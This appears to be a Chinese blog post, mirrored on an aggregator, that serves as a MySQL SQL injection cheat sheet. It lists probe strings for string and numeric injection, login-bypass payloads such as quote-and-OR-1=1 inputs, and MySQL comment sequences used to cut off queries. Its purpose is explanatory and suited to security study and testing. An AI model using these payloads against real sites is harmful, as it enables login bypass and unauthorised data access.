zoukankan      html  css  js  c++  java
  • sql注入知识库-mysql篇(1)

    Mysql

    缺省数据库

    information_schema   在5以上版本可用

    mysql   需要root 权限

    测试注入:

    false意味着查询不可用

    true代表查询可用

    一、字符型:

    使用如下查询:select * from table where id = '1';

    '  false

    '' true

    " false

    "" true

    false

    \ true

    example:

    • SELECT * FROM Articles WHERE id = '1''';
    • SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
    • select * from student where id = '1\';

    备注:

    1.可以使用很多’ 只要能够配对即可

    2. 也可以在引用链后继续添加声明

    3. 引号转义引号

    二、数字型

    1. 使用如下查询

    select*from table where id =  1 ;

    and 1  true

    and 0 false

    and true  true

    and false false

    1-false  如果存在漏洞返回1

    1-true   如果存在漏洞返回0

    1*56     如果存在漏洞返回56,如果不存在漏洞返回1

    example:

    select * from student where id = 3-2;

    三、登陆过程

    使用如下查询:

    select * from table where username = '';

    ' or '1

    ' or 1 -- -

    " or " " = "

    " or 1=1 -- -

    '='

    'like'

    '=0--+

    Example:

      • SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

     添加注释

    以下为mysql的注释符

    /*   */

    -- 

    ;%00

    `

    examples:

    select * from student where id =1 # and id1=1;

    只会执行#前面的语句

    select * from student where id =1 /* and id1=1 */ ;

    /*  */ 之间的语句不会执行

  • 相关阅读:
    计算闰年
    三个数比较大小
    剪刀石头布编辑
    二进制转换,八进制,十六进制转换
    原来我学的还是不够。。。
    认知是一切的基础
    spark学习笔记-java调用spark简单demo
    spark学习笔记-RDD
    Sublime Text3时间戳查看转换插件开发
    Spring Boot + Freemarker多语言国际化的实现
  • 原文地址:https://www.cnblogs.com/luyg24/p/4319651.html
Copyright © 2011-2022 走看看